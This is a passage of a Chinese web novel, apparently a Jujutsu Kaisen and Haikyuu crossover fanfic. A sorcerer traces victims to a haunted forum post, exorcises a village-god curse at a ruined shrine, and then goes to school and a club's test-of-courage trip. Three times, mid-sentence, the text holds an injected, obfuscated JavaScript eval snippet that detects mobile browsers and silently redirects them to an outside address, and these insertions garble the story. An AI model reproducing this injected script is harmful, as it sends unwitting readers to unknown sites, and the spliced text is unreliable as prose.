新田低下头,不敢去看千早的眼睛又重复了一遍。这次声音大了一点,语速慢了一点,足够让千早听清楚内容。 “暗黑骑士团竟为世界第一可爱的我大打出手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17479957|201678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 交流板。” 千早有些怀疑自己听错了,沉默地盯着新田几秒,又问了一遍:“……你刚刚说什么?” 她不是想让新田再念一遍那有些羞耻的名字,只是觉得自己应该是听错了。 新田实在不愿意再重复一次论坛名,干脆将手机递到千早眼前。 屏幕上是邮件最后的图片和一条链接。 图片上是一个论坛,论坛名确确实实叫做[暗黑骑士团竟为世界第一可爱的我大打出手交流板]白底黑子,一字不差,就那样端端正正地摆在屏幕正中央。 千早看着论坛名半晌,最后发出感叹:“……倒是一种不错的遮掩。” 新田说:“这个论坛大概五年前就有了,管理员换过好几任,但是名字一直没变。” 千早拿着手机问道:“用你的电脑看一下这个论坛。” 说完她把手机还给新田,靠回椅背。 新田从背来的包里拿出笔记本电脑,开机,打开邮箱,点进蓝色链接。 网页加载了几秒,一个暗红色的论坛界面出现在屏幕上。 放大版的论坛名显示在网页正中央,字体比正常的论坛标题大了一号,字体加粗,下面露出来几条论坛的帖子,都是被置顶的帖子,新人报道,或者公告之类的。 跟其他论坛没什么区别。 将网页往下拉,才露出这个论坛的真实交流内容。 [直播探险废弃五十年的鬼屋大楼] [凌晨总有人敲我房间的窗户,但是我住在10楼] [隔壁没人住但总传来剁菜声] [路灯下的另一道影子] 论坛名与论坛内容的反差感倒是很强。 新田又往后翻了几页,帖子列表里相似的标题还有很多,全都是灵异相关的帖子。 千早站在新田身后,手搭在她的肩膀上,“受害人的账号呢?” 新田切换网页,露出自己邮箱的界面,“经过查询,所有受害人都在同一个帖子里留言过。” [今天给大家讲讲我所知道的真实存在的‘神’] 千早念出帖子的名字。 新田在论坛的搜索栏里属于名字,找到这条帖子点了进去。 帖子加载出来,主楼是一条很长的文字,发帖人的ID名叫朴实乡下人的打工日常,头像是默认头像之一。 千早凑近屏幕,逐行看下去。 “帖主我是高中的时候,爷爷去世再加上发生了一些事,才跟着父母搬到城里来的,小时候住在农村老家。你们应该都没人听过那个村子,它就是那么偏僻,我小的时候村子里只剩下不到百人,大多还都是老人。我们家应该算是最晚搬离村子的年轻人了。” “当时家家户户都有田,我们家也有。我父母每天都下田干活,放假的时候我也会帮忙。” “小的时候爷爷曾给我讲过村子里的守护神的故事。爷爷说那是村名们代代供奉的神,每年多亏了这位神,村子里的收成都很好。” “爷爷说它有一个神社,就在村子的后山,没有人见过神的样子,但每一年村民都会去神社献上贡品。” “每一户都要献上贡品,不管是山里打的动物也好还是家里养的家禽也罢,都可以。但奇怪的是,他们献上的贡品都只是一部分,而不是全部。” “举个栗子,我家以前打到过野猪,出的是野猪的驱赶,邻居家出的是兔腿,吉村家出的是鸡头。处理好之后村民会用泥土把它们黏合在一起,然后搬到后山的神社供奉给神。” 千早盯着屏幕上的野猪的躯干、兔腿还有鸡头看了几秒。 “……把不同动物的不同部位黏在一起。”她声音很轻,像是在说给自己听。 “我当时觉得很奇怪,就问爷爷为什么神明大人不要一整只动物?爷爷说因为祂是一名善良的神明,不需要一整只,只需要一部分就可以了。爷爷说这是代代传下来的规矩。我又问爷爷神明大人是只管收成吗?爷爷告诉我,神明大人实现的是村民们的心愿,因为村民都靠收成吃饭,所以才会这样。想要别的也可以。” “再后来爷爷生病去世了,但我父母依旧准备留在村子里。直到我朋友家出了事。” “我朋友跟我同龄,我们是村子里年龄最近的同辈,再加上村子里只剩下我们两个同龄人关系自然特别近。” “高中的时候,在每年规定好的祭祀日那一天,我朋友偷偷藏下了他们家的贡品,他跟我说神什么的都是假的,不信你等第二年看看,我家的收成肯定还是一样好!” “我没能等到第二年去验证朋友说的话是真是假。因为祭祀日的第二天,我朋友一家就去世了。” “而且还是以相当可怖的样子,我朋友和他父母的尸体被一刀一刀地切开,拼凑在一起。村里人都说,这是因为他们家对神明大人大不敬,所以祂生气了。” “我爸妈原本也不太信祭祀和神这种事,跟着一起做只是因为这是村子里的习俗,他们都习惯了。而这件事发生之后,没过多久我父母就带着我搬出了老家来到了城里,我们再也没回过乡下。” 帖主的故事到这里就结束了,之后虽然偶尔会回复其他人的留言,但搬出乡下之后的事情就没有再讲述了。 千早弯着腰,手指指向发帖人“朴实乡下人的打工日常”的名字,“这个ID记录下来,查一下他的注册IP、登录记录等详细信息。” 新田点头,拿起手机走到一边去给伊地知打电话。 千早坐到电脑面前的椅子上,开始翻看回帖人发的内容。 回帖人不少,大多都是凑个热闹,或是说帖主编的很好,或是问帖主家里搬出村子难道没出事之类的问题。 直到千早看到一个名叫‘我要走遍世界’的回帖。 “嘿嘿,蹭蹭运气许个愿,如果实现了我就去帖主老家还愿!我要暴富,带着我妈出去旅游!” ID为‘我要走遍世界’的回帖人,就是事件的第一个受害者,藤村拓郎。 20. 第 20 章 出发前,伊地知发来了村子和发帖人的资料。 发帖人‘朴实乡下人的打工日常’姓名神山和哉,年龄43岁,如今在大阪的一家工厂上班,老家是山梨县的一个废村。 废村。 是指已经没有住民的彻底荒废下来的村子。 正如神山和哉在帖子里说的那样,他们一家曾是村子里最年轻的一户,但在他高中的时候也已经搬出村子。 如今已经过去二十多年,村子里的老人大多已经过世,尚在世的也被孩子接到了身边生活。 千早坐在山梨县的电车上看着屏幕上的资料,指腹按在屏幕上往上划:“帖子封了吧。” 新田坐在旁边,“已经联系技术人员了,并且考虑到论坛有可能滋生出其他咒灵,以后会有窗的人员定期查看该论坛。” 窗,姑且算是咒术师的情报组织,人员由可以看见咒灵的非术师组成。 电车晃了一下,千早把手机翻过去扣在腿上看向窗外。 窗外是美丽的景色和居民房,虽然山梨县的居民不多,但不得不承认这里真的很适合旅游,甚至还能看到富士山。 富士山的雪顶在阳光下泛着淡金色德光,千早盯着那片光看了几秒,脑子里却在想其他与任务无关的事情。 毕业旅行不如安排在这里吧,风景不错小黑和研磨应该也会喜欢。 “伊地知前辈说,那个村子在十几年前就已经彻底没人了,”新田手中拿着手机朝千早的方向凑近,“根据地图来看,神社在后山从村口走上去还要花费不少时间。” 千早把视线从窗外收回来,看向新田的手机屏幕,上面是一份地图,地图上的等高线密密麻麻,后山的海拔比村子高出了不少。 千早用手指在新田的手机屏幕上比了一下,放大了神社所在的位置。 她抬头看向新田的脸,犹豫着把心中所想说出来,“反正已经是废村了,又不会有人看见。” 新田跟千早的合作次数虽不算多,但凭借她对整个咒术师群体的了解,可以推测出对方在想一些不能被普通人看到的上山方式。 “……虽然已经没有人居住,”新田试着劝诫,“但是太过夸张的话还是会引起注意的吧。山上还有不少野生动物。” 千早比了个“OK”的手势,“没关系,我一个人上山的话,不会搞得太夸张的。” 她可不想老老实实用脚走着上山,太浪费时间了。地图上有伊地知标注的时间,如果徒步上山的话,要好几个小时。 她可还想着今天晚上能回到东京呢。 新田有些惊讶,收回手机问道:“我不一起上山吗?” 千早也略显吃惊地看着她的脸,没想到对方会问出这个问题,“新田小姐想要一起上山吗?” 新田眼睛快速眨动几下有些心虚,“……我还没见过特级咒灵呢。” 顶着那双眼睛,千早最终还是“嗯”了一声答应了她。 电车开始减速,车窗外站台的轮廓缓缓出现,灰色的水泥台,站牌上的字变得有些模糊,站台上空无一人。 千早站起身跟在新田身后,朝车门走。 车门打开,一股凉风灌进来,带着山里的湿气。 两人走出站台。 站前不出意料地没有出租车等候客人,只有自动贩卖机和公交站牌孤零零地立在站前,略显凄凉。 公交站牌的时刻表上都落了一层灰。 新田和千早准备先找个地方租车,开车去废村。 租车点就在站前不远,一间白色的平房,门口停着两三辆灰色的小面包车。玻璃门上贴着手写的“租车”,字迹已经被晒得发白。 千早推门进去,里面没有人。 柜台上放着个响铃,新田走上前按了一下,叮咚一声响起。 没过几秒,后门的帘子被掀开,走出来一个看起来六七十岁的老爷爷,穿着朴素,头发有些乱。他眯着眼睛看了她们一眼,像是在确认什么,然后慢吞吞地走到两人面前。 老爷爷走到两人面前,“两位要租车?” 没等两人回答,老爷爷笑呵呵地走进柜台后面,抽出一张单子放到柜台上面。 “真少见啊,居然有年轻人来这边。”他的声音有些沙哑,带着些山梨本地口音,尾音拖得长长的。 新田弯腰拿起柜台上面放着的笔,开始填写表格,她写的很认真,一笔一划,像是在填什么重要文件。 在工作的时候,千早也不会把所有事情都交给新田处理,走到柜台前。她看了老爷爷一眼,又看了他身后挂在墙上的挂历,时间还是去年的,月份停在五月,没有人翻过。 “我们是大学生,来这边是做关于人口老龄化和废弃村庄的调查,回去好写老师留的论文作业。” 老爷爷接过新田填好的单子看了一眼,“大学生啊,那你们可要多注意点安全了,细皮嫩肉的。” 他顿了顿,像是在回忆些什么:“不过最近几十年这附近废弃的村子确实不少,县中心都没什么人了,更别说我们这些偏远地方了。” 老爷爷把车钥匙推到柜台中间,新田伸手去拿钥匙,“谢谢。” 老爷爷摆了摆手走出柜台,“不用客气,难得看到有生面孔愿意来这乡下,我还挺高兴的。” 说完他走向后门,掀开帘子回后面去了。 两人走出租车点,新田按照车牌号找到了租借给她们的车。 一辆灰色的小面包车,车身有些旧,上面有不少刮痕。 两人坐上车,新田坐进驾驶座,调整好座椅和后视镜。千早坐在副驾驶,系好安全带。 新田发动车子驶出停车场,沿着公路往目的地开。 两侧的树越来越密,阳光从树叶的缝隙里漏下来,落在挡风玻璃上。 车子开了大约二十多分钟,路越来越窄,马路也变成了泥土路,两侧的杂草几乎长到了路中间,草叶擦过车门,发出沙沙的声响。 新田放慢车速,车子颠簸着开上土路,两人身体跟着车子一起晃。 又开了大约十分钟,土路也到了尽头。前面杂草丛生,根本看不出来曾经有路的痕迹,但这里确确实实曾经存在着一条路。 新田停车熄火。 千早解开安全带,推开车门下了车。 杂草没过脚踝,碎石和枯枝藏在草丛里,踩上去发出细碎的声响。 两人在草丛中走了大约二十分钟,终于看到了目的地。 因常年无人居住打理,村子里塌了不少房子,哪怕是一些状态比较好的房子,窗户也已经不知道被什么东西砸碎。玻璃碴散落在土地上面,和碎石头混在一起。 两人没有在村子里多做停留,千早仰头看向北面的山。 “已经确定附近没有居民了吧。” 以防万一,千早再一次确认道。 新田给予了肯定答复:“是的。根据调查,附近并没有其他人居住。” 千早拿出一把做过消毒的小刀,刀刃很薄,在她手上划出一道小口子。 新田虽然不理解甚至大为震撼,但最终还是站在一旁没有出声阻止。 血液从伤口中渗出来,伤口以肉眼可见的速度开始愈合,但那抹鲜红还残留在手上,伤口愈合的速度很快,但又与反转术式的治疗效果有些许不同。 下一秒,血迹开始不规则地抖动,仿佛里面有什么东西在挣扎着想要出来。 “到工作的时间了。”千早看着缓缓出现的蓝色小鱼开口道。 小鱼从血液正上方浮出来,游动时尾鳍带起细微的咒力波动。 千早伸出手,蓝色小鱼从她指尖游过,尾巴扫过她手背上残留的血迹,血迹被它吸收干净,消失不见。 “变大吧。” 接收到主人的指令,小鱼的身体快速膨胀起来。 最终长到可以乘坐下两个人的大小,它的身体不再是半透明的蓝色,而是变成了深邃的海蓝色,鳞片上泛着金属般的光泽。 鱼身两侧的双翼展开,尾鳍摆动时带起的气流吹得千早的头发往后飘,新田的头发也被吹了起来。 千早一个翻身,干脆利落地骑了上去。 看向还站在原地目瞪口呆的新田弯腰伸出手。 “上来吧。” 新田犹豫了一下,还是抓住千早的手,被拽上鱼背,双手抓着千早制服的一角,指节发白。 蓝色大鱼缓缓升空。 地面在脚下远去,下面的村子变得越来越小,杂草和碎石都看不清了。 风带着山里的凉气从耳边刮过,新田紧闭着双眼,脸埋在千早的后背上。 “睁眼。”千早说。 新田摇摇头。 “不会掉下去。” 听到千早的保证,新田才慢慢睁开眼睛,从千早的肩膀上方看出去。 树林在脚下铺展开,像一片绿色的海洋,远处的山脊线起起伏伏,和天空的云连在一起。 蓝色大鱼明明没有扇动翅膀,只有尾鳍在缓缓晃动,却能在半空中飞翔,仿佛它此时并非身处空中,而是遨游在大海之中,它游动的姿态和水中的鱼一样,身体随着尾鳍的摆动微微起伏。 它飞向山顶,最终落在山顶的一片空地上。 空地中央立着一座小小的建筑,一个很小的已经破败的神社。 神社面前立着一块石碑,碑上的字已经被风雨磨得看不清,神社的门紧闭着,门上没有贴符纸,只有一把早已生锈的铁锁挂在门环上。 千早从鱼背身上跳下来,站稳后转身看了还骑在上面的新田一眼。 “你待在上面,它会保护你。” 鱼是千早从小养到大的式神,她将它从最初的蝇头,养成了现在的特级咒灵。 虽然最开始千早只是想要一个“厨房”和坐骑,但现在它所具备的力量已经强大到在她工作的时候可以给予一定的辅助。 比如现在,保证一名辅助监督的安全。 鱼背着新田缓缓升起,跟地面保持一定距离。 千早走到神社门前,伸手碰了下那把铁锁,锁已经烂透了,手指一碰就断裂掉在地上,发出声响。 她推开门,一股混合着泥土的腐烂气味从里面涌出来。 千早没有第一时间走进去,一眼就看到神社中间放着一张桌子。 以及桌子上面的…… 千早不知道是否该把那称之为尸体,或许应该叫残骸。 皮肤发黑干瘪地贴在骨架上,扭曲的四肢被泥土拼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17479958|201678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凑在躯干上,朝不自然的方向弯折,头部的五官完全塌陷,只剩下几个黑洞,胸腔被撕裂开,里面几乎被掏空。泥土从四肢和躯干的拼接处露出来,干裂的纹路有些像龟裂的河床。 她抬脚迈过门槛,走进去。 下一秒,门被嘭地一声关上。 门关上的瞬间,千早没有回头,她站在原地,目光仍落在桌子上的残骸上。 风吹过她的后颈,凉飕飕的。不是从门缝里灌进来的风,是从头顶吹下来的。 此时,她抬起了头看向桌子正上方的天花板。 天花板上浮现出一张脸。 一张没有具体五官,只有轮廓的脸。 千早盯着那张脸,没有动,她打开手机上的手电筒功能,手电筒的光照在天花板上,那张脸的轮廓在光影中若隐若现。 应该是一尊石像的脸。 千早做出判断。 像是感应到有新的祭品出现,那张脸开始扭曲,轮廓的边缘延伸向四周,将整个神社包裹起来。 有点像是生得领域。 但千早觉得与其说是领域,倒不如说这里是这只咒灵的“体内。” 从她迈进这间神社的同时,她就已经主动进入到了咒灵的身体里。 但除此之外没有别的办法,这只咒灵像是只要不打破规则就不会主动出现的类型,总不能让她也去那个帖子下面许个愿吧。 - 新田并没有在神社外等太久。 不过片刻功夫,门被从里打开。 毫发无损的千早从里面走出来,连呼吸都没有任何变化,仿佛她只是走进去看了一眼就出来了。 但是就在千早走出来的下一秒,神社里发出一声沉闷的声响。像是有什么东西从高处掉下来,砸在木地板上。 新田张了张嘴。 蓝色大鱼飞到千早面前,千早抬手摸了摸它的脑袋。 触感滑滑的,手感不错。 蓝色大鱼用头顶了顶千早的手,眼光希冀地看向神社里面。 千早读出它眼中的渴望,但是遗憾的是她已经吃完了。 与它对视几秒,千早率先败下阵来,“咳,已经没了。”她别开视线,看向旁边的树,语气里带着一丝不易察觉的心虚。 蓝色大鱼歪了歪头,又用头顶了顶她的手,像是在确认。它的头蹭着千早的掌心,力度很轻,像是在撒娇,又像是在问她,“真的吗?你真的一点点都没有给我留吗?” 见她始终没有对它下达自己希望听到的命令,鱼有些委屈地垂下头,但还是乖乖地朝她露出后背。 不知道是不是千早的错觉,她感觉它的尾鳍和羽翼都有些耷拉下来。 新田还坐在鱼背上,目光在千早和神社之间来回扫,千早跳上鱼背坐在新田面前,拍了拍鱼身。 “走吧。” 千早骑着鱼飞在天上,突然想起什么,“对了,既然咒灵已经祓除了,那个帖子可以恢复了。” 新田脸色有些发白,“好的。” “土地神”这一类的概念本就容易滋生出咒灵,跟信仰没有关系,而是畏惧。相信土地神存在的人们在信仰土地神的同时,也会畏惧祂。 这是很正常的事情。 这个村子不知道已经存在多少年,会孕育出一级或准一级咒灵并不奇怪,问题是离开村子的人将土地神的消息发到了网上传播开了。 因此原本等级最多一级的繁藏座才会变为特级咒灵。 鱼的速度很快,没过一会就背着两人回到了山脚下。从山顶到山脚,走路的话至少也要一个小时,鱼只用了五分钟不到。 千早从鱼背上跳下来,拉着新田跳在地上,等她站稳后伸出手拍了拍鱼的身体。 蓝色大鱼的身体开始缩小,直到重新变回最初的大小,最后消失不见。 “走吧。”千早拉开车门,坐进副驾驶。 新田也坐进驾驶座,沿着来时的路往回开。 车子在租车点门口停下,新田熄火下车,把钥匙还给店主老爷爷。 老爷爷接过钥匙,看了她们一眼有些惊讶,“这么快就好了?” 新田摸了脑袋笑道:“是的,这是最后一个村子了,之后我们只要回去整理一下资料就可以啦,谢谢您。” 老爷爷闻言没有多问,只是点了点头跟两人道别。 两人走回站台的方向准备买票,在千早走到机器面前时,新田喊住了她。 “那个,朝比奈同学。” 千早刚要按到屏幕上的手指顿住,她回头看向新田,见对方一副犹豫不决的样子,有种不祥的预感。 “其实刚刚伊地知前辈给我发了消息,山梨县附近正好还有几个别的任务,不如我们……” 果然。 千早整个人萎靡下来。 是的,她工作忙需要熬夜甚至是通宵并不是因为作为特级咒术师的实力不足。 而是因为一个任务后面往往接着另一个甚至是好几个任务需要去做。祓除一只咒灵并不需要太长时间,但是从一个地方赶到另一个地方却需要很长时间,对于她来说时间不是花在战斗上,而是花在了路上。 千早认命般叹了声气,转过身重新面向售票机开始买票。 21. 第 21 章 千早赶回东京是第二天的凌晨。 她坐着新田开的车回到家时,已经凌晨两点半。 电车换乘、再换乘、再换坐私家车,最后的这一段路她已经变得有些麻木,脑子里什么都没想,连眼睛都懒得抬一下。 新田握着方向盘,从后视镜里瞥了她一眼,没有开口说话。 车子在千早家门前停稳。 新田熄火,转身看向后座变得有些生无可恋地在手机上定闹钟的千早。 新田并不觉得不奇怪,她十分理解朝比奈同学的心情,一整个周末完全被工作占据,好不容易工作结束了还要第一时间赶回家。 但不是为了休息,而是因为再过几个小时就要去上学了。 “朝比奈同学我们到了。”新田出声提醒千早,她的声音很轻。 千早终于抬起头看向车窗外,外面是她熟悉的街道,熟悉的房子。 她到家了。 千早打了个哈欠声音有些闷闷的:“辛苦了新田小姐,晚安。” 说完她拉开车门,脚踩在地面上站直身体。 新田降下车窗,“辛苦了。” 千早没再接话,关上车门,手揣进兜里一边掏钥匙一边朝自家大门走。 钥匙在锁孔里转了两圈,发出咔哒一声轻响,门被打开。 千早走进玄关处打开灯,换上拖鞋第一时间走进浴室冲了个战斗澡,洗漱完她没吹头发直接回了房间。 窗帘被拉开着,外面的月光照进房间铺在地板上。 千早没有走过去拉上窗帘,径直走到床边扑了上去。 没有管湿漉漉散在枕头上的头发,她两眼一闭,直接睡了过去。 千早再一次睁眼时,已经是早上七点半。 枕边震动个不停的闹钟将她吵醒,窗帘还开着,阳光从窗户上洒进来,刺得千早眯了眯眼睛。 她躺在床上闭着眼睛缓了一会儿,拿过手机关上响个不停的闹钟。 屏幕上面显示收到一条新消息,是黑尾发来的,时间是今天早上六点多。 【黑尾:你今天来上学吗?】 千早揉了揉眼睛,坐起身打字回复。 【千早:嗯,我已经起床了。】 千早等了一会儿没有等到黑尾的消息,猜测对方此时应该在训练,她把手机放到一边,起床走进卫生间准备洗漱时,一抬头,看到镜子里的身影后整个人当场愣住。 镜中的人,头发翘得乱七八糟,左边一撮竖起来,右边一撮歪向后面,这一缕那一缕地翘着。 就连头顶上都有不少竖起来的头发。 早知道就不剪水母头这种需要打理的发型了……这像个被电击过一样的水母头让她怎么出门啊。 哪怕是千早这种平时不怎么在意外表的人,也无法做到顶着这一头乱糟糟的鸡窝头去上学。 她拧开水龙头,用手碰了碰水流后,抬起那只沾着水的手按了按头顶翘起来的头发。 然后她拿开手,想要看看是否成功的时候。 那一缕头发顽强地立了起来,像弹簧一样弹回原位。 千早:“……” 咋办? - 千早难得不慌不忙地走进校门,周围三三两两都是穿着音驹校服的学生。 只不过与平时不同的,是此时很多路过的学生目光都落在她身上,有的人甚至停下脚步回头看向她这边。 “她是谁啊?” “咱们学校有这种漂亮女生来着吗?” “是不是转学生啊?” “你傻啊,她穿着咱们学校的运动服呢,怎么可能是转学生。” 千早没有理会那些目光和闲言碎语,脚步不停朝教学楼走去,高高扎起的马尾在身后轻轻晃着,几缕短的发丝翘起来,显得她整个人有些毛茸茸的。 最终她抵达教室门口,伸手拉开了教室门。 教室里的学生已经来了一大半,千早走进去的瞬间,几个正在说话的人像是被人按下了暂停键,同时安静了下来。 坐在第一排的女生察觉到异样,抬头的瞬间正好看到走进来的千早,嘴巴微微张大,手里拿着的笔“啪嗒”一声掉落在桌上。 千早没有看任何人,走到自己的座位,把包放在桌面上,拉开椅子坐下去。 然后直接趴在桌子上,把脸埋进手臂里,闭上眼睛开始休息。 教室里安静了几秒钟,然后细碎的议论声重新响起,比之前教室里的交谈声要小得多,像是在说些什么不想让她听到的话。 “是她吗?” “朝比奈同学头发扎起来完全不一样了……” “话说之前为什么要留那种会遮住脸的刘海啊。” 千早前排的男生偷偷回头看了她几眼,又转回去,又转过来,反复好几次。 陆陆续续有学生进入教室,许久之后,上课铃响起。 千早没有抬头,依旧保持着趴在桌子上的姿势,直到老师从走廊走进教室,站上讲台。 班里的值日生喊道:“起立。” 椅子哗啦一片响,千早也跟着站起来,手撑着桌面,低着头没有看黑板和老师。 她的眼皮有些沉,视线模糊,跟着周围同学轻声道:“老师好。” 所有学生坐回椅子上,千早也重新趴了回去。 教课老师开始讲课,平缓而单调的声音从讲台上传下来,传到此时的千早耳中,听起来有些像摇篮曲。 她眼皮越来越沉,呼吸慢慢变得绵长。 不知道过了多久,有人轻轻敲了敲她的桌面。 千早没有动。 对方又敲了两下,千早才终于动了动,脸从手臂中抬起,一双略带困意的狐狸眼看向对方。 前排男生被她看得有些脸红,手里的一沓试卷被他轻轻放到千早的桌子上,清了清嗓子小声道:“那、那个,朝比奈同学……麻烦你传一下卷子。” 他的声音越来越小,但千早还是听清了。 千早声音沙哑地“嗯”了一声,伸手拿起最上面的一张卷子留下,剩下的部分被她递给后排。 下课铃声响起,千早没有动依旧在补觉。 周围的学生站起来走动,椅子拖动的声音,脚步声和说话声混在一起,像是白噪音一样不仅没能吵醒千早,反而让她越睡越香。 她已经决定明天向研磨借笔记,虽然两人是不同班,而且研磨还是火箭班,但是两个班级讲课的进度差的并不多。 第二节课、第三节课一直到午休,千早都没有再坐起身过。 一直到中午的铃声响起。 千早依旧没有动,周围的学生开始收拾东西,有人去食堂,有人拿出了自己从家里带的便当。 不知过了多久,一道声音从头顶传下来。 “千早。” 这道声音将千早从睡梦中唤醒。 她缓缓睁开双眼,从手臂里露出一只眼睛,看向来人。 黑尾站在她的位置旁,手里拿着一瓶酸奶。 千早盯着那瓶酸奶看了两秒,然后慢慢坐直身体,有些没反应过来。 黑尾拧开酸奶递过去,千早伸手接过,喝了一口。 酸奶是常温的,不怎么甜。 她抬头有些愣愣地看向黑尾,不明白对方为什么会出现在这里。 还没等千早问出口,黑尾就仿佛猜出了她心中所想。 “山本发短信告诉我,你今天睡了一上午。” 完球,忘了班里还有个排球部的了。 千早把那瓶酸奶一口气喝完,空瓶子被黑尾拿过去,扔进了角落的垃圾桶里。 “研磨在天台,”黑尾说,“他让我告诉你晚上记得找他要笔记。” “知道了。” 黑尾没有立刻离开,手撑在千早的桌子上,“你几点回的家?” “两……晚上九点。”千早刚刚睡醒脑子还有点懵,差点直接说出两点半来。 黑尾表情专注,盯着她看了两秒再次确认,“晚上九点?” 千早“嗯”了一声,移开视线,从桌洞里抽出上午发的卷子,假装低头看题。 黑尾没有戳破她的谎言,仿佛没有听到两那个字一样。 “学校的食堂应该不剩什么了,面包也基本都含牛奶没给你带。” 黑尾没再追问,把手从桌上收回站直身体,“晚上来我家吃饭吧,你今早应该也没吃什么像样的东西吧。” 千早答应下来,想起什么问道:“今天有社团活动吗?” 刚比完赛一般都会休息一两天,但考虑到对象是黑尾他们,那就不一定了,他们真的有可能一天都不休息。 “没有。”黑尾把手插进校服口袋。 千早刚想松一口气,就听见黑尾继续道。 “不过有试胆大会。” 千早:“?” 她震惊地缓缓抬头,嘴角忍不住抽动,对着黑尾露出和善的笑容。 “哪个作死的提出来的?” 黑尾被她盯得往后退了半步,举手做投降状,“不是我。” “那是哪个倒霉玩意?”千早的声音从牙缝里挤出来。 “三年级的那几个。”黑尾毫不犹豫地出卖了前辈,“他们说比赛也结束了,他们也要引退了,不如最后来一次惊心动魄的部团活动。” ……看来她还是得找个机会揍他们一顿才行。 看出千早的不赞同,黑尾问道:“那我跟其他人说一声你不去了?” 千早虽然真的极其不想去,但还是咬牙切齿地一个字一个字往外蹦,“我、去。” 黑尾看着她一副恨得牙痒痒但又不得不去的表情,没忍住低笑出声。 “真要去?虽然我记得你不怕鬼这些灵异类的东西,但是如果太累的话还是直接回家休息吧。” “没、关、系、我、不、累!” 困意已经完全从千早脸上消失,取而代之的是气愤。 黑尾笑意加深,抬手在她脑袋上rua了两下,“好了别那么大脾气,你就当是我害怕陪我去的?” 千早被他突如其来的动作弄得身体一僵。 她猛地偏头躲开,抬手胡乱地拍了拍自己的头顶,像是在掩饰什么一样道:“我好不容易梳的头发,你别弄乱了。” 黑尾这才仿佛刚刚注意到她的发型变化一样,“说起来,你今天怎么把头发梳起来了?” 明明之前别说梳马尾辫了,露个眼睛都不愿意。 提到这个,千早有些郁闷道:“昨天没吹头发就睡了,早上起来乱得像个爆炸头。” 黑尾毫不客气地捂着肚子嘲笑她,“都说了让你吹头发哈哈哈!” 千早被他笑得有些懊恼,伸手抓起桌上的笔袋朝他身上砸过去。 笔袋被黑尾接住,他笑意稍敛,眼底却还明晃晃地带着对她的打趣。 “放心吧,我是个善良的人,最多回去再笑你五分钟。” 千早瞪他一眼,恶狠狠威胁:“你敢笑,我就揍你。” 黑尾一秒正经起来,把笔袋轻轻放回她桌上,“好,我错了。” 见他服软,千早这才满意地收回目光,轻哼一声。 教室里几道望过来的视线有些扎得慌,千早有些不太适应,站起身把黑尾推到走廊上。 “好了好了,你快回去天台跟研磨一起吃饭吧。” 黑尾没怎么在意她把自己推出来的举动,走之前提醒道:“放学后记得来校门口集合。” “知道啦,你快回去吧!” 等黑尾的身影彻底走远,千早才稍稍松了口气,回到教室里坐在自己的位置上。 明明小黑不在身边的时候,她就可以完全无视不在意这些视线,但不知道为什么一旦身边有小黑的时候,这些视线就会让她觉得浑身不自在。 这也是因为喜欢吗? 午休结束的铃声打断了她的胡思乱想,下午的课千早没有再趴桌昏睡,可眼神却总是飘向窗外,脑子里一会儿是炸毛的头发,一会儿是黑尾打趣的话语,怎么也集中不了精神。 熬到放学铃声终于响起,千早麻里收拾好书包,磨磨蹭蹭走到校门口。 等她终于走到校门口时,其他排球部的部员都已经到了。 黑尾和研磨站在队伍的最末端等她,黑尾的眼睛一直看向教学楼的方向,看到她的身影终于出现时,朝她这边招了招手。 千早脚步加快了些,走到几人面前,状似不经意间问道:“所以,是要去哪里进行试胆大会?” “我们也不太清楚,是三年级的前辈们决定的。”研磨挪到千早身后。 黑尾顺手接过她肩上的书包,动作自然得像是做过无数次,平时的话他不会做这种事,今天是考虑到千早睡了一上午工作应该很辛苦的原因。 “应该不会选个太过火的地方,”黑尾说:“再怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17479959|201678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说也是前辈应该还是有这点分寸的。” 千早有些不爽地撇了下嘴,如果真的有分寸的话,就不会不努力训练,还在比赛惨败后搞出试胆大会这种节目。 算了,反正不管目的地是哪里,只要有她在总不会出大事的。 所有人都到齐了,三年级的前辈在前面领路,带着几个人走到公交车站牌前等车。 千早有些惊讶,她本以为就算要进行试胆大会,至少也会找个离学校近的地方。 没想到居然还要坐公交车。 在车站牌前等了一会儿,公交车驶来,千早跟着队伍上了公交车。 车里除了他们以外虽然还有别的乘客,但并不多。 三年级的几个人坐在前排,叽叽喳喳地在讨论着什么,时不时发出夸张的笑声。 千早和黑尾研磨坐在最后一排,千早坐在研磨旁边,选择了最里面靠窗的位置。 车子开了大约半个小时,驶出市区,两旁开始出现茂密的树林。 这走向……怎么越来越不对劲。 试胆大会为什么要跑这么远的地方来? 车子又开了大约十分钟,终于在终点站的前两站抵达目的地,三年级的几个前辈率先下车。 后面跟着的一二年级也跟着下了车。 